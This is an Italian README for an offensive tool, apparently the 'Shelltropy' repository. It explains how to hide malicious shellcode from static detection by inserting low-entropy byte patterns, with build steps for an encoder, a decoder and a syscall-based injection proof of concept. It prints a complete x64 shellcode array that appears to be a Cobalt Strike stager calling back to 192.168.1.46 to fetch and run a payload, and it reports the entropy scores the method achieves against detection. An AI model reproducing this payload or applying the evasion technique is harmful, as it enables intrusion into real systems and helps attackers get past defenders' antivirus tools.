kleiton0x00/shelltropyUna tecnica per nascondere shellcode malevolo tramite Shannon encoding.
Una tecnica per nascondere shellcode malevolo basata su bassa entropia tramite codifica di Shannon.
L'entropia è la misura della casualità in un insieme di dati (qui: shellcode). Maggiore è l'entropia, più casuali sono i dati. L'entropia di Shannon è un algoritmo che produce un risultato tra 0 e 8, dove 8 significa che non c'è schema nei dati, quindi sono molto casuali, e 0 significa che i dati seguono uno schema.
Nota: Dai un'occhiata al mio articolo del blog per una spiegazione più dettagliata della mia ricerca, e anche un semplice Proof of Concept di Shellcode Injection vanilla.
Clona questo repository:
git clone https://github.com/kleiton0x00/Shelltropy.git
Per il codificatore:
Crea un nuovo progetto Visual Studio e importa sia Entropy.h che shannonEncode.cpp, quindi compila.
Per il PoC di Shellcode Injection (con Syscalls):
Apri il file di progetto Visual Studio situato in /Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxproj e compila.
Nota: Se vuoi un semplice PoC di Shellcode Injection con WinAPI, dai un'occhiata al mio blog
Per il decodificatore (opzionale, poiché è incluso nel PoC di Shellcode Injection):
Crea un nuovo progetto Visual Studio e importa shannonDecode.cpp, quindi compila.
$ python3 shellcodeFormatter.py
BYTE payload[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xfb,0x20,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x78,0x51,0x48,0x4c,0x00,0x30,0x96,0x54,0xc4,0x1f,0x1c,0xa8,0x3b,0xcb,0x64,0x4f,0xb0,0xb2,0x75,0x09,0x9f,0x7f,0x94,0x1c,0xf7,0x6a,0x53,0xc5,0x96,0xf3,0xea,0x28,0x51,0x8e,0x68,0x86,0xc4,0x4b,0x9a,0xb3,0xd6,0x54,0x82,0x22,0x90,0x89,0xbd,0x84,0xc4,0x73,0x97,0x2a,0xd9,0xbe,0x2d,0xd1,0x34,0xb9,0x18,0xb8,0x63,0xbc,0x52,0x14,0x3f,0x84,0x4e,0xeb,0xab,0x79,0x4a,0x89,0x42,0x26,0x8b,0xe7,0x12,0x48,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x31,0x30,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x4f,0x57,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x36,0x2e,0x30,0x3b,0x20,0x4d,0x41,0x53,0x50,0x29,0x0d,0x0a,0x00,0xba,0xf1,0x47,0xbe,0x2f,0x60,0xce,0xf4,0x22,0xc0,0x41,0x82,0x1f,0xb8,0xdb,0xa9,0x01,0x08,0xe0,0xf6,0x87,0xf9,0x24,0x72,0x49,0x5b,0xf6,0xf8,0xa9,0xa1,0x08,0xc9,0x90,0xaa,0x2c,0x71,0x11,0x52,0x60,0x6a,0x94,0x86,0x80,0xc5,0xbe,0x16,0x3e,0x8d,0x15,0xc9,0xf5,0xae,0x9b,0x5d,0x77,0xc2,0x30,0x76,0x2a,0xbf,0x6a,0xc2,0xf6,0x2a,0x35,0xae,0x1d,0x4d,0xa6,0x62,0xe7,0x16,0x7a,0x25,0x05,0xc5,0x80,0x0e,0xf9,0x06,0x45,0x87,0x4d,0x52,0x20,0x5b,0x33,0xd3,0x6a,0x59,0x95,0xb7,0x56,0x1b,0xc5,0xbb,0x91,0xe3,0x97,0x82,0xd5,0xfc,0x6c,0x11,0x48,0x6a,0x64,0xf1,0xe6,0xc1,0xd4,0xef,0x75,0x74,0x20,0x58,0xfb,0x27,0x0b,0x5e,0x23,0x9a,0x87,0x86,0x1f,0x3f,0x34,0xdd,0x2c,0xfc,0x59,0x3b,0x51,0xcb,0x56,0x08,0x5d,0x85,0x5e,0x45,0x23,0x4d,0x99,0x8e,0x5f,0x8b,0x35,0x36,0x11,0xce,0x51,0x52,0x7b,0x48,0xda,0x77,0x1b,0x25,0xac,0xe5,0x05,0x9f,0x97,0x96,0xf2,0x2c,0x38,0x5a,0xcd,0x1f,0xbb,0x47,0x0e,0x55,0x60,0xab,0xe3,0x99,0x2f,0x7d,0x35,0xae,0xbc,0x68,0x69,0x5e,0x6b,0xde,0x0e,0xc0,0x6c,0x80,0x9a,0x5a,0xb4,0xfb,0x25,0xb4,0x54,0xa2,0xad,0xc3,0x19,0xf3,0x92,0x48,0xe6,0xb4,0x1d,0xac,0x89,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x34,0x36,0x00,0x5e,0x2e,0x78,0x90};
/Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.vcxprojIl concetto è dividere l'array in blocchi e inserire un pattern di byte a bassa entropia tra ogni blocco. Quando il campione viene eseguito, dobbiamo ricostruire il payload originale in memoria, aggirando la rilevazione statica del codice ad alta entropia in questa fase. Vale anche la pena notare che il codice a bassa entropia da inserire può seguire una varietà di pattern, e la quantità di inserimenti può variare, quindi può essere usato per aggirare la rilevazione di firme statiche. Il secondo passo è combinare i blocchi di byte ad alta entropia con quelli a bassa entropia. Poiché, dopo tutto, dobbiamo ripristinare il codice offuscato allo stato iniziale per procedere con la fase di de-offuscamento, il terzo compito ripristinerà l'array originale di byte eliminando i pattern a bassa entropia.
Nota: I seguenti risultati sono testati solo con shellcode CS.
~ Shellcode predefinito di Cobalt Strike (grezzo)
(Alta entropia) Normale: 7.062950
(Bassa entropia) Codificato: 4.527140
~ Shellcode di Cobalt Strike con XOR
(Alta entropia) Normale: 4.583139
(Bassa entropia) Codificato: 3.278284
Alta entropia (lato sinistro) vs Bassa entropia (lato destro) – Shellcode CS predefinito integrato con Syscalls (Syswhispers2):
Durante la codifica, la dimensione dello shellcode sarà 2 volte più grande, rendendo più facile per il Blue Team / analisi malware rilevare tali shellcode codificati.
Il template di Shellcode Injection (con Syscalls2) è copiato da questo progetto: https://github.com/m0rv4i/SyscallsExample